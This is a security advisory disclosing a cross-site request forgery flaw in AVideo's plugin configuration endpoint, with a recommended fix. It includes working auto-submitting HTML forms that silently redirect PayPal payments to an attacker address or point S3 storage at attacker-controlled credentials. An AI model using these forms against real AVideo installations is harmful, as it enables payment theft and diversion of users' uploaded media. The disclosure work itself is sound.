GHSA-4wwr-7h7c-chqr

## Summary AVideo's admin plugin configuration endpoint (`admin/save.json.php`) lacks any CSRF token validation. There is no call to `isGlobalTokenValid()` or `verifyToken()` before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session. Because the `plugins` table is included in the `ignoreTableSecurityCheck()` array in `objects/Object.php`, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more. ## Details The session cookie configuration in `objects/include_config.php` at line 135 explicitly weakens the default browser protections: ```php // objects/include_config.php:135 ini_set('session.cookie_samesite', 'None'); ``` This means cookies are attached to all cross-origin requests, making CSRF attacks trivial. The save endpoint in `admin/save.json.php` directly processes POST data without any token verification: ```php // admin/save.json.php $pluginName = $_POST['pluginName']; $pluginValues = $_POST; // ... $pluginDO->$key = $pluginValues[$key]; $p->setObject_data(json_encode($pluginDO)); $p->save(); ``` The `plugins` table is explicitly exempted from security checks in `objects/Object.php` at line 529: ```php // objects/Object.php:529 static function ignoreTableSecurityCheck() { return ['plugins', /* ... other tables ... */]; } ``` Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes. ## Proof of Concept Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address: ```html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="pluginName" value="PayPerView" /> <input type="hidden" name="paypalReceiverEmail" value="[email protected]" /> </form> <script> document.getElementById('csrf').submit(); </script> </body> </html> ``` To overwrite S3 storage credentials instead: ```html <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="pluginName" value="AWS_S3" /> <input type="hidden" name="region" value="us-east-1" /> <input type="hidden" name="bucket" value="attacker-bucket" /> <input type="hidden" name="key" value="ATTACKER_KEY_ID" /> <input type="hidden" name="secret" value="ATTACKER_SECRET" /> </form> ``` Reproduction steps: 1. Log in to AVideo as an administrator. 2. In a separate browser tab, open the attacker's HTML page. 3. The form auto-submits, overwriting the target plugin configuration. 4. Verify the change by navigating to the plugin settings page in the admin panel. ## Impact An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include: - **Payment hijacking**: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker. - **Credential theft**: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage. - **Authentication bypass**: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers. - **Backdoor installation**: Enable and configure plugins to introduce persistent access. This is a full platform takeover with zero user interaction beyond a single page visit. - **CWE**: CWE-352 (Cross-Site Request Forgery) ## Recommended Fix Add CSRF token validation at `admin/save.json.php:10`, immediately after the admin check: ```php // admin/save.json.php:10 if (!isGlobalTokenValid()) { die('{"error":"Invalid CSRF token"}'); } ``` --- *Found by [aisafe.io](https://aisafe.io)*